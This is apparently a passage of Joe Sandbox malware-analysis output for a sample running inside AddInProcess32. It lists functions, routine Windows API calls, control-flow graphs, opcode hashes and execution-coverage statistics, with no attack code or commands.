                                                              • Instruction ID: 3d754f6bbac4f0fc29b731cb1760f3a108790d09c490286ff9c291985bf200fa
                                                              • Opcode Fuzzy Hash: 34e6da26d09d747e9b160e96d5646efa77918023e99146266dc945ab681b76e7
                                                              • Instruction Fuzzy Hash: 294102B0C00759CFDB24DFA9C8447DEBBB5BF49304F2480AAD508AB251DB75694ACF90
                                                              Function 026F1F0C Relevance: 1.6, APIs: 1, Instructions: 96COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 516 26f1f0c-26f3401 CreateActCtxA 519 26f340a-26f3464 516->519 520 26f3403-26f3409 516->520 527 26f3466-26f3469 519->527 528 26f3473-26f3477 519->528 520->519 527->528 529 26f3479-26f3485 528->529 530 26f3488 528->530 529->530 532 26f3489 530->532 532->532
                                                              APIs
                                                              • CreateActCtxA.KERNEL32(?), ref: 026F33F1
                                                              Memory Dump Source
                                                              • Source File: 0000000C.00000002.1927367810.00000000026F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026F0000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_12_2_26f0000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID: Create
                                                              • String ID:
                                                              • API String ID: 2289755597-0
                                                              • Opcode ID: d5e6335321c52ac665d9901c4f122a005525f56ff34634288c892acc98fcd9f4
                                                              • Instruction ID: c9bfcb50d1f6adfc8addb718d9afa60061d0015c3d2f17e1ca86246fb894756c
                                                              • Opcode Fuzzy Hash: d5e6335321c52ac665d9901c4f122a005525f56ff34634288c892acc98fcd9f4
                                                              • Instruction Fuzzy Hash: AC41E2B0C0075DCBDB24DFA9C844B9EBBB5BF89304F2480AAD508AB355DB756949CF90
                                                              Function 026F8118 Relevance: 1.6, APIs: 1, Instructions: 65COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 533 26f8118-26f811d 534 26f8120-26f81b4 DuplicateHandle 533->534 535 26f81bd-26f81da 534->535 536 26f81b6-26f81bc 534->536 536->535
                                                              APIs
                                                              • DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 026F81A7
                                                              Memory Dump Source
                                                              • Source File: 0000000C.00000002.1927367810.00000000026F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026F0000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_12_2_26f0000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID: DuplicateHandle
                                                              • String ID:
                                                              • API String ID: 3793708945-0
                                                              • Opcode ID: d1eba81569809bf93cd2bc8c8299d79d575e3c5d1bf3d484675dbdbeac358c68
                                                              • Instruction ID: 610e844d2bc0fafbe64f8090a5ac4a0907147932294fcd8fadefd89defd7efd9
                                                              • Opcode Fuzzy Hash: d1eba81569809bf93cd2bc8c8299d79d575e3c5d1bf3d484675dbdbeac358c68
                                                              • Instruction Fuzzy Hash: 4421E4B5D002199FDB10CFAAD984ADEFFF9EB48320F14815AE958A3350D374A944CFA5
                                                              Function 026F8120 Relevance: 1.6, APIs: 1, Instructions: 62COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 539 26f8120-26f81b4 DuplicateHandle 540 26f81bd-26f81da 539->540 541 26f81b6-26f81bc 539->541 541->540
                                                              APIs
                                                              • DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 026F81A7
                                                              Memory Dump Source
                                                              • Source File: 0000000C.00000002.1927367810.00000000026F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026F0000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_12_2_26f0000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID: DuplicateHandle
                                                              • String ID:
                                                              • API String ID: 3793708945-0
                                                              • Opcode ID: 48c9e441966c56f740bd5988f4e7f283ae69b5a32f35a59d4c37a59ee88f7fb3
                                                              • Instruction ID: 7591c7cf0186d46c1d885872563fa305ddeca5ada44076156f687cf951e55ef9
                                                              • Opcode Fuzzy Hash: 48c9e441966c56f740bd5988f4e7f283ae69b5a32f35a59d4c37a59ee88f7fb3
                                                              • Instruction Fuzzy Hash: 8221E2B59002199FDB10CFAAD984ADEBBF8EB48320F14805AE958A3350C374A944CFA5
                                                              Function 026F8B40 Relevance: 1.5, APIs: 1, Instructions: 48comCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 544 26f8b40-26f8baa OleInitialize 545 26f8bac-26f8bb2 544->545 546 26f8bb3-26f8bd0 544->546 545->546
                                                              APIs
                                                              • OleInitialize.OLE32(00000000), ref: 026F8B9D
                                                              Memory Dump Source
                                                              • Source File: 0000000C.00000002.1927367810.00000000026F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026F0000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_12_2_26f0000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID: Initialize
                                                              • String ID:
                                                              • API String ID: 2538663250-0
                                                              • Opcode ID: 5d5cce68691b2f74034875c7b7bc1911153f2d98ffb1a7b02fc333be9eb522a6
                                                              • Instruction ID: 53dd09cf77308e81c9d4004dda7e2443fe9e644cecbdf93c4fa8de377db2492c
                                                              • Opcode Fuzzy Hash: 5d5cce68691b2f74034875c7b7bc1911153f2d98ffb1a7b02fc333be9eb522a6
                                                              • Instruction Fuzzy Hash: 6D1115B59003498FCB10DFAAD585BCEFBF4EB48324F208859D558A7350C375A544CFA5
                                                              Function 026F8010 Relevance: 1.5, APIs: 1, Instructions: 46comCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 549 26f8010-26f8baa OleInitialize 551 26f8bac-26f8bb2 549->551 552 26f8bb3-26f8bd0 549->552 551->552
                                                              APIs
                                                              • OleInitialize.OLE32(00000000), ref: 026F8B9D
                                                              Memory Dump Source
                                                              • Source File: 0000000C.00000002.1927367810.00000000026F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026F0000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_12_2_26f0000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID: Initialize
                                                              • String ID:
                                                              • API String ID: 2538663250-0
                                                              • Opcode ID: bbf260f2675fb4eb6896ad9eb5deeef004d0e05b2d9ff6233538e06271809b78
                                                              • Instruction ID: b071f7401db728461801dbca197852089aeaae3923992c66272dd36870f5f600
                                                              • Opcode Fuzzy Hash: bbf260f2675fb4eb6896ad9eb5deeef004d0e05b2d9ff6233538e06271809b78
                                                              • Instruction Fuzzy Hash: 7A1112B59003488FDB60DF9AD549BDEFBF8EB48324F208499E658A7350C374A944CFA5
                                                              Function 026F9FB1 Relevance: 1.3, APIs: 1, Instructions: 51COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • CloseHandle.KERNELBASE(?), ref: 026FA010
                                                              Memory Dump Source
                                                              • Source File: 0000000C.00000002.1927367810.00000000026F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026F0000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_12_2_26f0000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID: CloseHandle
                                                              • String ID:
                                                              • API String ID: 2962429428-0
                                                              • Opcode ID: 3ea08d7f22870aee3d98b4e0190b7293f69310b9dcb49ba7ae8cda8391bcf190
                                                              • Instruction ID: cc5a3246559e2b08ba6abdf0c455dd957190df48a24ebe21e3d63d961760755b
                                                              • Opcode Fuzzy Hash: 3ea08d7f22870aee3d98b4e0190b7293f69310b9dcb49ba7ae8cda8391bcf190
                                                              • Instruction Fuzzy Hash: 3C1148B1800349CFCB20DF99D545BDEBBF4EB48324F208429D968A7740C379A945CFA5
                                                              Function 026F9FB8 Relevance: 1.3, APIs: 1, Instructions: 47COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • CloseHandle.KERNELBASE(?), ref: 026FA010
                                                              Memory Dump Source
                                                              • Source File: 0000000C.00000002.1927367810.00000000026F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026F0000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_12_2_26f0000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID: CloseHandle
                                                              • String ID:
                                                              • API String ID: 2962429428-0
                                                              • Opcode ID: 7bead69625923496296393c690a8000f989294116069cb299e83c30ea6cdafce
                                                              • Instruction ID: 8c1f2e4ad749777915aee68efceba684466b5cd3f6f050f07356747b0c37e71c
                                                              • Opcode Fuzzy Hash: 7bead69625923496296393c690a8000f989294116069cb299e83c30ea6cdafce
                                                              • Instruction Fuzzy Hash: DC1145B1800349CFCB20DF9AC544BDEBBF4EB48324F10842AD558A7340C378A944CFA5
                                                              Function 00CFD4D8 Relevance: .1, Instructions: 75COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 0000000C.00000002.1926181921.0000000000CFD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CFD000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_12_2_cfd000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: 0d150e3ae68c7ba6f185981cd54c8fe576adfffb4f8d319cfae7120fb2e2d528
                                                              • Instruction ID: 59b540633965bf57f693b9a2836eae41d073de195c0f52a3a409e71909878d6b
                                                              • Opcode Fuzzy Hash: 0d150e3ae68c7ba6f185981cd54c8fe576adfffb4f8d319cfae7120fb2e2d528
                                                              • Instruction Fuzzy Hash: CC2125B1500208DFCB45DF14D9C4B26BFA6FB98318F208169EA0A4B256C336D956CBA3
                                                              Function 00CFD4D3 Relevance: .1, Instructions: 56COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 0000000C.00000002.1926181921.0000000000CFD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CFD000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_12_2_cfd000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
                                                              • Instruction ID: d27060f98a0acb24f60e5d7f44bb34dc89f83ee9936edf75943b9093d360b34f
                                                              • Opcode Fuzzy Hash: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
                                                              • Instruction Fuzzy Hash: 1711D3B6504244CFCB16CF14D5C4B26BF72FB94318F24C6A9D90A0B256C33AD95ACBA2

                                                              Execution Graph

                                                              Execution Coverage:11.5%
                                                              Dynamic/Decrypted Code Coverage:100%
                                                              Signature Coverage:0%
                                                              Total number of Nodes:44
                                                              Total number of Limit Nodes:6
                                                              execution_graph 8218 b58120 DuplicateHandle 8219 b581b6 8218->8219 8220 b57ad0 8221 b57b16 GetCurrentProcess 8220->8221 8223 b57b61 8221->8223 8224 b57b68 GetCurrentThread 8221->8224 8223->8224 8225 b57ba5 GetCurrentProcess 8224->8225 8226 b57b9e 8224->8226 8227 b57bdb 8225->8227 8226->8225 8228 b57c03 GetCurrentThreadId 8227->8228 8229 b57c34 8228->8229 8230 b59fb8 CloseHandle 8231 b5a01f 8230->8231 8232 b586e8 8233 b586fd 8232->8233 8237 b58710 8233->8237 8241 b57f20 8233->8241 8236 b57f20 OleInitialize 8238 b5874f 8236->8238 8238->8237 8246 b57ff4 8238->8246 8240 b587fc 8243 b57f2b 8241->8243 8242 b5871e 8242->8236 8242->8237 8243->8242 8244 b57ff4 OleInitialize 8243->8244 8245 b587fc 8244->8245 8248 b57fff 8246->8248 8247 b58b13 8247->8240 8248->8247 8250 b58010 8248->8250 8251 b58b48 OleInitialize 8250->8251 8252 b58bac 8251->8252 8252->8247 8253 b50848 8254 b50852 8253->8254 8256 b521a0 8253->8256 8257 b521c5 8256->8257 8261 b522b0 8257->8261 8265 b5229f 8257->8265 8262 b522d7 8261->8262 8264 b523b4 8262->8264 8269 b51f0c 8262->8269 8267 b522af 8265->8267 8266 b523b4 8266->8266 8267->8266 8268 b51f0c CreateActCtxA 8267->8268 8268->8266 8270 b53340 CreateActCtxA 8269->8270 8272 b53403 8270->8272

                                                              Executed Functions

                                                              Function 00B57AA8 Relevance: 6.1, APIs: 4, Instructions: 138threadCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 527 b57aa8-b57b5f GetCurrentProcess 533 b57b61-b57b67 527->533 534 b57b68-b57b9c GetCurrentThread 527->534 533->534 535 b57ba5-b57bd9 GetCurrentProcess 534->535 536 b57b9e-b57ba4 534->536 537 b57be2-b57bfa 535->537 538 b57bdb-b57be1 535->538 536->535 550 b57bfd call b58022 537->550 551 b57bfd call b580a8 537->551 538->537 542 b57c03-b57c32 GetCurrentThreadId 543 b57c34-b57c3a 542->543 544 b57c3b-b57c9d 542->544 543->544 550->542 551->542
                                                              APIs
                                                              • GetCurrentProcess.KERNEL32 ref: 00B57B4E
                                                              • GetCurrentThread.KERNEL32 ref: 00B57B8B
                                                              • GetCurrentProcess.KERNEL32 ref: 00B57BC8
                                                              • GetCurrentThreadId.KERNEL32 ref: 00B57C21
                                                              Memory Dump Source
                                                              • Source File: 0000000D.00000002.1925789878.0000000000B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B50000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_13_2_b50000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID: Current$ProcessThread
                                                              • String ID:
                                                              • API String ID: 2063062207-0
                                                              • Opcode ID: 4731628319e08cabb6bf3aac982abbb6947b5874210332a5cd0a51c4b5455644
                                                              • Instruction ID: 7ea5d093d5b3e2559133e5bbdcab5368104517d0d5651b551b4a60ccbbe50173
                                                              • Opcode Fuzzy Hash: 4731628319e08cabb6bf3aac982abbb6947b5874210332a5cd0a51c4b5455644
                                                              • Instruction Fuzzy Hash: 555166B0A05249CFDB04DFA9D548BDEBBF1EF48304F208499D459AB260DB749988CF69
                                                              Function 00B57AD0 Relevance: 6.1, APIs: 4, Instructions: 128threadCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 552 b57ad0-b57b5f GetCurrentProcess 556 b57b61-b57b67 552->556 557 b57b68-b57b9c GetCurrentThread 552->557 556->557 558 b57ba5-b57bd9 GetCurrentProcess 557->558 559 b57b9e-b57ba4 557->559 560 b57be2-b57bfa 558->560 561 b57bdb-b57be1 558->561 559->558 573 b57bfd call b58022 560->573 574 b57bfd call b580a8 560->574 561->560 565 b57c03-b57c32 GetCurrentThreadId 566 b57c34-b57c3a 565->566 567 b57c3b-b57c9d 565->567 566->567 573->565 574->565
                                                              APIs
                                                              • GetCurrentProcess.KERNEL32 ref: 00B57B4E
                                                              • GetCurrentThread.KERNEL32 ref: 00B57B8B
                                                              • GetCurrentProcess.KERNEL32 ref: 00B57BC8
                                                              • GetCurrentThreadId.KERNEL32 ref: 00B57C21
                                                              Memory Dump Source
                                                              • Source File: 0000000D.00000002.1925789878.0000000000B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B50000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_13_2_b50000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID: Current$ProcessThread
                                                              • String ID:
                                                              • API String ID: 2063062207-0
                                                              • Opcode ID: 49565d967cb18efaf5d822975670580c58f23ba3ba0ec8f5ab475299f4ce4600
                                                              • Instruction ID: 730e870a2eead46db23c87f3bfbc6a8fcc91ba7ac1409d585a19638fa6453f6e
                                                              • Opcode Fuzzy Hash: 49565d967cb18efaf5d822975670580c58f23ba3ba0ec8f5ab475299f4ce4600
                                                              • Instruction Fuzzy Hash: EF5156B0E01209CFDB04DFA9D548BDEBBF5EB48304F208499E459A7360DB74A948CF69
                                                              Function 00B53336 Relevance: 1.6, APIs: 1, Instructions: 115COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 754 b53336-b53339 755 b532ff-b53301 754->755 756 b5333b-b53401 CreateActCtxA 754->756 758 b53303-b53309 755->758 759 b5330a-b5332b 755->759 761 b53403-b53409 756->761 762 b5340a-b53464 756->762 758->759 761->762 770 b53466-b53469 762->770 771 b53473-b53477 762->771 770->771 772 b53479-b53485 771->772 773 b53488 771->773 772->773 775 b53489 773->775 775->775
                                                              APIs
                                                              • CreateActCtxA.KERNEL32(?), ref: 00B533F1
                                                              Memory Dump Source
                                                              • Source File: 0000000D.00000002.1925789878.0000000000B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B50000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_13_2_b50000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID: Create
                                                              • String ID:
                                                              • API String ID: 2289755597-0
                                                              • Opcode ID: 509cefa758d94efae81f7680bfadc8f5ff5f1a16ea1cbe09657d8664ed5bfc7b
                                                              • Instruction ID: 6529b5b09f7b6377fc9179540c26331b01dab1e0f9f3a6559c0cbbd1ef2f4018
                                                              • Opcode Fuzzy Hash: 509cefa758d94efae81f7680bfadc8f5ff5f1a16ea1cbe09657d8664ed5bfc7b
                                                              • Instruction Fuzzy Hash: E941E0B1C00619CFDB24CFA9C884BDDBBF5BF48714F2480AAD409AB251DB755A4ACF90
                                                              Function 00B51F0C Relevance: 1.6, APIs: 1, Instructions: 96COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 776 b51f0c-b53401 CreateActCtxA 779 b53403-b53409 776->779 780 b5340a-b53464 776->780 779->780 787 b53466-b53469 780->787 788 b53473-b53477 780->788 787->788 789 b53479-b53485 788->789 790 b53488 788->790 789->790 792 b53489 790->792 792->792
                                                              APIs
                                                              • CreateActCtxA.KERNEL32(?), ref: 00B533F1
                                                              Memory Dump Source
                                                              • Source File: 0000000D.00000002.1925789878.0000000000B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B50000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_13_2_b50000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID: Create
                                                              • String ID:
                                                              • API String ID: 2289755597-0
                                                              • Opcode ID: b90d1e6d59ef319d8bbef387556bde80a317e95f5b685cef60e11442d524af9c
                                                              • Instruction ID: 54b3442f5b88f9d6eb836d1d6112b19ff5cbb0a213bb11cf2b58387d5069cb6f
                                                              • Opcode Fuzzy Hash: b90d1e6d59ef319d8bbef387556bde80a317e95f5b685cef60e11442d524af9c
                                                              • Instruction Fuzzy Hash: 6F41D0B0C00619CBDB24DFA9C844B9EBBF5BF49704F2480AAD409AB255DBB56949CF90
                                                              Function 00B58118 Relevance: 1.6, APIs: 1, Instructions: 65COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 793 b58118-b5811d 794 b58120-b581b4 DuplicateHandle 793->794 795 b581b6-b581bc 794->795 796 b581bd-b581da 794->796 795->796
                                                              APIs
                                                              • DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 00B581A7
                                                              Memory Dump Source
                                                              • Source File: 0000000D.00000002.1925789878.0000000000B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B50000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_13_2_b50000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID: DuplicateHandle
                                                              • String ID:
                                                              • API String ID: 3793708945-0
                                                              • Opcode ID: 800e6449068359a6ebd4d2ae84540314e966961c1e04bbddaa9a41ae21207808
                                                              • Instruction ID: 401f3f1822ce1b859ff0a5c77f53fc2b6bb8b1b08da8db713e14b9c358c3b5f3
                                                              • Opcode Fuzzy Hash: 800e6449068359a6ebd4d2ae84540314e966961c1e04bbddaa9a41ae21207808
                                                              • Instruction Fuzzy Hash: EB21E5B5D002189FDB10CF9AD984ADEBBF4EB48320F14845AE914B3250D374A945CFA4
                                                              Function 00B58120 Relevance: 1.6, APIs: 1, Instructions: 62COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 799 b58120-b581b4 DuplicateHandle 800 b581b6-b581bc 799->800 801 b581bd-b581da 799->801 800->801
                                                              APIs
                                                              • DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 00B581A7
                                                              Memory Dump Source
                                                              • Source File: 0000000D.00000002.1925789878.0000000000B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B50000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_13_2_b50000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID: DuplicateHandle
                                                              • String ID:
                                                              • API String ID: 3793708945-0
                                                              • Opcode ID: 1cbf9fa8dc34fba96bb5d7288b6d9da7355511637f852a7ec71a02d61823b5d1
                                                              • Instruction ID: 9619917e073bedc37ea0cd8c4130e504c42ef51ef3a384cefdfd8022d8ec4866
                                                              • Opcode Fuzzy Hash: 1cbf9fa8dc34fba96bb5d7288b6d9da7355511637f852a7ec71a02d61823b5d1
                                                              • Instruction Fuzzy Hash: 1821C4B5900258DFDB10CF9AD984ADEFBF4EB48310F14845AE954B7350D378A944CFA5
                                                              Function 00B58010 Relevance: 1.5, APIs: 1, Instructions: 46comCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 804 b58010-b58baa OleInitialize 806 b58bb3-b58bd0 804->806 807 b58bac-b58bb2 804->807 807->806
                                                              APIs
                                                              • OleInitialize.OLE32(00000000), ref: 00B58B9D
                                                              Memory Dump Source
                                                              • Source File: 0000000D.00000002.1925789878.0000000000B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B50000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_13_2_b50000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID: Initialize
                                                              • String ID:
                                                              • API String ID: 2538663250-0
                                                              • Opcode ID: 10f5f2ecf9c93553acc2fd33e3b3de84dc93bbe1fabc10360a933e3e0f71cf3b
                                                              • Instruction ID: c8c3fee76975c57f2037ddf7a2eec5967575d8cf6f75cebef96a273d612b62f1
                                                              • Opcode Fuzzy Hash: 10f5f2ecf9c93553acc2fd33e3b3de84dc93bbe1fabc10360a933e3e0f71cf3b
                                                              • Instruction Fuzzy Hash: 601100B19003488FCB20DF9AD549BDEFBF8EB48324F208499D919A7210D779A944CFA5
                                                              Function 00B58B40 Relevance: 1.5, APIs: 1, Instructions: 45comCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 810 b58b40-b58baa OleInitialize 811 b58bb3-b58bd0 810->811 812 b58bac-b58bb2 810->812 812->811
                                                              APIs
                                                              • OleInitialize.OLE32(00000000), ref: 00B58B9D
                                                              Memory Dump Source
                                                              • Source File: 0000000D.00000002.1925789878.0000000000B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B50000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_13_2_b50000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID: Initialize
                                                              • String ID:
                                                              • API String ID: 2538663250-0
                                                              • Opcode ID: eff43f34532e566906e3ba45f8964060ab06e14da140e2bb2c61e71ad00f9b97
                                                              • Instruction ID: 0377aa588769525b8dd8acb4f5e0897d921f65f0da6d2a952c92fcaf8c5e1d3a
                                                              • Opcode Fuzzy Hash: eff43f34532e566906e3ba45f8964060ab06e14da140e2bb2c61e71ad00f9b97
                                                              • Instruction Fuzzy Hash: 4A1103B5900348CFCB10DF9AD545BCEFBF4EB48324F208459D558A7210D775A544CFA5
                                                              Function 00B59FB1 Relevance: 1.3, APIs: 1, Instructions: 48COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • CloseHandle.KERNELBASE(?), ref: 00B5A010
                                                              Memory Dump Source
                                                              • Source File: 0000000D.00000002.1925789878.0000000000B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B50000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_13_2_b50000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID: CloseHandle
                                                              • String ID:
                                                              • API String ID: 2962429428-0
                                                              • Opcode ID: 20bef8a510b84e7b44897971b2444bdc04506b44d9ac86cb8dd08f266b8128df
                                                              • Instruction ID: 6f1321e3b59e8328eea72d6d42decfc6839c20aa6480b81749ec25e6fd346ad9
                                                              • Opcode Fuzzy Hash: 20bef8a510b84e7b44897971b2444bdc04506b44d9ac86cb8dd08f266b8128df
                                                              • Instruction Fuzzy Hash: 941133B6800349CFCB20DF99C544BDEBBF4EB48320F14846AD958A7340D778A944CFA5
                                                              Function 00B59FB8 Relevance: 1.3, APIs: 1, Instructions: 47COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • CloseHandle.KERNELBASE(?), ref: 00B5A010
                                                              Memory Dump Source
                                                              • Source File: 0000000D.00000002.1925789878.0000000000B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B50000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_13_2_b50000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID: CloseHandle
                                                              • String ID:
                                                              • API String ID: 2962429428-0
                                                              • Opcode ID: 1f7b41925335b97301ab5de498827e9b21f0490a178c7e7e1beeda91034d5dfc
                                                              • Instruction ID: 44d89c37bc9fdfdfb7295942c6e8cf934bd42e8f2f501d49074c3db2a0ac1885
                                                              • Opcode Fuzzy Hash: 1f7b41925335b97301ab5de498827e9b21f0490a178c7e7e1beeda91034d5dfc
                                                              • Instruction Fuzzy Hash: DF1103B5800349CFCB20DF9AC545BDEBBF4EB48320F14846AD958A7250D779A944CFA5
                                                              Function 00AFD4D8 Relevance: .1, Instructions: 75COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 0000000D.00000002.1924947884.0000000000AFD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AFD000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_13_2_afd000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: 06c0036259c9f7b792080567c2892fb3938af5b1aa915a9295d693d16a6939b0
                                                              • Instruction ID: 55553486c6df18a3cdea672ba3ce7ded1b3433d8cafe3a71ef39f30bb762b7b8
                                                              • Opcode Fuzzy Hash: 06c0036259c9f7b792080567c2892fb3938af5b1aa915a9295d693d16a6939b0
                                                              • Instruction Fuzzy Hash: AD212571500208DFCB06DF94D9C4B26BFA6FB98318F208569EA094B256C336D856CAA2
                                                              Function 00AFD4D3 Relevance: .1, Instructions: 56COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 0000000D.00000002.1924947884.0000000000AFD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AFD000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_13_2_afd000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
                                                              • Instruction ID: 958f0d411a3d080682462c7e5ce14785679e39a3f5747be2db2be9cac68f7953
                                                              • Opcode Fuzzy Hash: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
                                                              • Instruction Fuzzy Hash: 2E11D376504244CFCB16CF54D5C4B26BF72FB94318F24C6A9E9090B256C33AD85ACBA2

                                                              Execution Graph

                                                              Execution Coverage:0.7%
                                                              Dynamic/Decrypted Code Coverage:0%
                                                              Signature Coverage:8.2%
                                                              Total number of Nodes:1171
                                                              Total number of Limit Nodes:42
